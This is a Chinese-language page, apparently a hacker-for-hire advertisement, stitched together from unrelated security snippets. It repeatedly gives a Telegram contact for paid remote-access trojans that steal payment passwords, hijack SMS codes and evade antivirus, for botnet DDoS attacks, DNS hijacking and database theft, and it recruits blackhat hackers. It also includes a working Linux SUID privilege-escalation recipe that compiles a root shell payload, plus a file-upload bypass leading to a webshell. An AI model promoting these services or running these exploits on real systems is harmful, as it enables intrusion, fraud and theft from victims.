我们在跟客户交涉前：任何渗透测试都应该由测试人员和目标组织事先确定测试的范围和目标，最好以站点链接确认能否可做
合作联系；@YMoh4683

XSS是一种利用网页应用程序漏洞的攻击方式，攻击者在网页中嵌入恶意脚本代码，当用户访问该网页时，恶意代码会被执行，攻击者可以窃取用户的信息或控制用户的浏览器

2024全网手机远程控制 1500U-20000U

普通款： 屏幕监控 屏幕控制 通话记录获取，聊天记录，短信，摄像头获取，gps定位 刀u,获取支付密码，账号密码，劫持验证码，劫持通话等
私人定制：增加了木马的稳定性，随意隐藏显示图标


2024电脑远程控制 1000U-3000U

免杀远控 过免杀 过启动 过误报 解决主流杀软的各方面问题 支持定做 专业制作 现有功能:屏幕控制，定期截图 *** 屏幕墙
* 键盘记录* 文件管理*** 代理映射*** 压力测试*** 隐藏桌面（可以控制桌面不被发现）*** 文件加密*** 浏览器密码、书签、cookie获取*** 浏览器密码清除（适配主流浏览器）*** telegram账号文件一键下载*** 锁定机器*** 进程监控*** 关闭windows defender*** 系统信息及IP一键提取*** 指定文件搜索*** 多种启动项安装方式

网页端恢复正常感谢支持 目前国内流量稳定，海外流量稳定，本平台最低保证300Gbps流量输出，实际比这还要高高高高高，只保小，不吹大！ 懂得都懂，目前Weare僵尸网页端在圈内排名Top1所有卡密已经在后台补时间了 感谢支持
合作联系；@YMoh4683

ddos它利用大量的互聯網流量使目標伺服器或其周圍的基礎設施不堪重負，從而阻斷目標伺服器、服務或網路的正常流量

DNS攻击是涉及域名系统（DNS）的任何类型的攻击。攻击者可以通过多种不同的方式利用DNS的弱点。这些攻击大多数都集中在滥用DNS上，以阻止互联网用户访问某些网站。这些属于拒绝服务（DoS）攻击的范畴

合作联系；@YMoh4683

是一种利用受信任用户的身份，在用户不知情的情况下，以其名义发送恶意请求的攻击方式。攻击者可以通过篡改请求参数或构造特定的链接，以执行未经授权的操作
合作联系；@YMoh4683

DNS劫持，TR069劫持之类常用的域名劫持（常用） - 将域名解析到路由的LAN地址
AP本地管理，劫持域名

网页突然被禁止访问，微信登录和绑定的业务都无法使用，严重影响产品的使用，接劫持 ddos攻击打站
金融股民渗透国内app，海外网站app，入侵后台，脱裤数据库， dns劫持 服务器进入等等
只有你想不到，没有我做不到


合作联系；@YMoh4683

CVE-2023-32784
KeePass 2.X Master Password Dumper
Буфер обмена подвел ))
POC

LinuxSUID提权

查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;

Ping

复制
>cd /tmp
>mkdir exploit
>ln /bin/ping /tmp/exploit/cmd
>exec 3< /tmp/exploit/cmd
>rm -rf /tmp/exploit/
>vim payload.c
复制
void attribute((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
复制
>gcc -W -fPIC -shared -o /tmp/exploit payload.c
>提升到root权限
>LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
>id 查看当前权限

我们使用bp抓包，并且发送到repeater，修改content-type为图片类型，点击发送
通过http头的修改绕过了MIME type验证，之后就是访问传参，通过一句话木马控制服务器。

hostA –> network –> hostB
然而事情并不是那么简单，就好比我们的物流，A要寄件给B，首先A要填写自己的地址及B的地址，以方便定位收件人的地址，然后才是交给物流公司帮忙转运，物流公司也是要根据B的收件地址，不断转发到不同地址的物流中转站中，每次转站都会寻找离收件地址更近的中转站派送，最后派送到B的收件地址中。数据包在网络层中的传送，也大概是这样的流程，A和B是两个host，数据包在网络层中的中转站则是路由器，他们也都需要分配地址，我们称为IP地址。也就是说，我们的数据包，所经过的hostA、hostB以及在传输过程中经过的路由器，都需要分配IP地址。

攻击者利用Redis未授权访问漏洞入侵成功后，会在肉鸡系统多处留置后门，同时进行3种数字虚拟币挖矿作业，会对云主机的正常运行产生严重负面影响，腾讯云原生安全产品可以在各个环节对相关威胁进行检测防御。

Fuzz测试是一种通过提供大量非预期的输入（恶意/随机数据），并监测被测系统是否出现异常结果，来发现应用程序中是否存在安全问题的安全测试技术
通常来说，只要是接受外部数据输入的业务组件/接口，都需要进行FuZz测试的覆盖。比如，存在外部入口的协议报文、外部文件的解析代码、系统服务接口等，都涉及外部数据输入，被攻击后安全风险非常高。以常见的移动操作系统为例

三星所采用的是斯坦福研究院旗下的Princeton Identity公司提供的虹膜识别模块，其通过正面屏幕上方的850nm 的LED红外补光灯+红外摄像头，可以在近距离(20-30cm)拍摄到使用者虹膜红外图像并提取特征点与已有图像进行对比判断其身份。而在今年德国一个”CCC“黑客俱乐部会议上，之前用公开照片复制了德国国防部长指纹的黑客小哥告Starbug诉了我们虹膜识别是一样能够用相机拍照去破解的

最新站点提权
▲ 接长期接 台子提权 🎩🎩🎩
▲ 长期招募黑帽 灰帽子，有Hacker案例和经验的联系